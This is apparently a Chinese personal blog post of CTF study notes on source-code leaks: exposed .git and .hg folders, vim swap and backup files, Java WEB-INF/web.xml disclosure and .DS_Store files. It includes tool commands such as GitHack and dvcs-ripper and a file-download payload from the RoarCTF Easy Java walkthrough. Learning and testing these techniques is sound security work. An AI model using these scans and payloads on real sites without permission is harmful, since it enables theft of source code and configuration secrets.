源码泄露\信息搜集小总结

各种源码泄露总结的笔记

贴个链接
还有其他参考文献

git泄露

原理:

开发人员使用 git 进行版本控制,对站点部署。但如果配置不当,可能会将.git文件夹直接部署到线上环境,这就引起了git泄露

操作

用扫描器扫描(俺用的御剑,如果字典里没有得自己加),大概像这样

如果能访问那就存在git泄露
也可以试着访问 .git/head 文件,如果能下载也能推断存在 Git 源码泄露

获取泄露的源码

阔以用GitHack脚本,可以解析 .git/index 文件,并找到工程中所有的:文件名和文件 sha1,然后去 .git/objects/ 文件夹下下载对应的文件,通过 zlib 解压文件,按原始的目录结构写入源代码。通过泄露的.git文件夹下的文件重建还原工程源代码。键入下面的命令就会把存在Git泄露的源码全部下载下来
命令:

1
GitHack.py url

(注:此处url是.git的url)
GitHack下载链接

实战: buuctf[第一章 web入门]粗心的小李

首先,下载githack,然后终端打开,执行: python githack.py 链接/.git/
然后就可以看到githack目录下多了个以目标链接命名的文件夹,打开就阔以找到flag辣

敏感备份文件泄露

原理

使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
以 index.php 为例:
第一次产生的交换文件名为 .index.php.swp
再次意外退出后,将会产生名为 .index.php.swo 的交换文件
第三次产生的交换文件则为 .index.php.swn
常见的备份文件格式有:
index.phps
index.php.swp
index.php.swo
index.php.php~
index.php.bak
index.php.txt
index.php.old
index.php~

注意: 有时候用dirsearch、菜刀等工具扫描时会因频率而被429限制访问,这时候需要延迟爆破频率

java之WEB-INF文件泄露

WEB-INF

WEB-INF是java的web应用的的安全目录(所谓安全就是客户端无法访问,只有服务端可以访问的目录),若想在页面里直接访问其中文件,必须通过web.xml对要访问的文件映射才能访问
WEB-INF主要有以下文件:
WEB-INF/web.xml: 配置文件,路径映射
WEB-INF/classes: 含了站点所有用的 class 文件(包括 servlet class 和非servlet class)
WEB-INF/lib: 存放web应用需要的各种JAR文件
WEB-INF/src: 源码
WEB-INF/database.properties: 数据库配置文件

漏洞成因

通常在web应用中我们会用多个web服务器用来彼此弥补
使用这种架构时,若对资源的目录或文件的映射配置不当,可能会导致web.xml文件可被读取

利用漏洞: 通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。

实战: [RoarCTF 2019]Easy Java

进入页面,是个登陆界面,sql注入试了一下,发现没有用
登陆页面下有个help窗口,尝试访问,url变成: /Download?filename=help.docx,也就是可以随意查询文件….但是它返回的结果是: java.io.FileNotFoundException:{help.docx}

然后我就8会了,看wp,发现要进行post传参,但我找了10几个wp也没明白为啥要这么搞,就tm离谱…
post传参:

1
filename=WEB-INF/web.xml

下载下来发现关键映射:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>

<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>

</web-app>

根据映射可以看到: FlagController里应该有flag
payload:

1
filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

我: ???

.hg文件泄露

当开发人员使用 Mercurial 进行版本控制,对站点自动部署。hg.init 的时候会形成.hg文件夹,如果配置不当,可能会将.hg 文件夹直接部署到线上环境,引起泄露
工具: dvcs-ripper

1
rip-hg.pl -v -u http://www.example.com/.hg/

.DS_Store文件泄漏

在发布代码时未删除文件夹中隐藏的.DS_store,可获取敏感的文件名等信息。

漏洞利用

可以访问一下(http://www.example.com/.ds_store),然后利用[dsstoreexp](https://github.com/lijiejie/ds_store_exp)工具

1
python ds_store_exp.py http://www.example.com/.DS_Store

源码泄露\信息搜集小总结
https://bl4zygao.github.io/2021/10/15/源码泄露总结/
Author
bl4zy
Posted on
October 15, 2021
Licensed under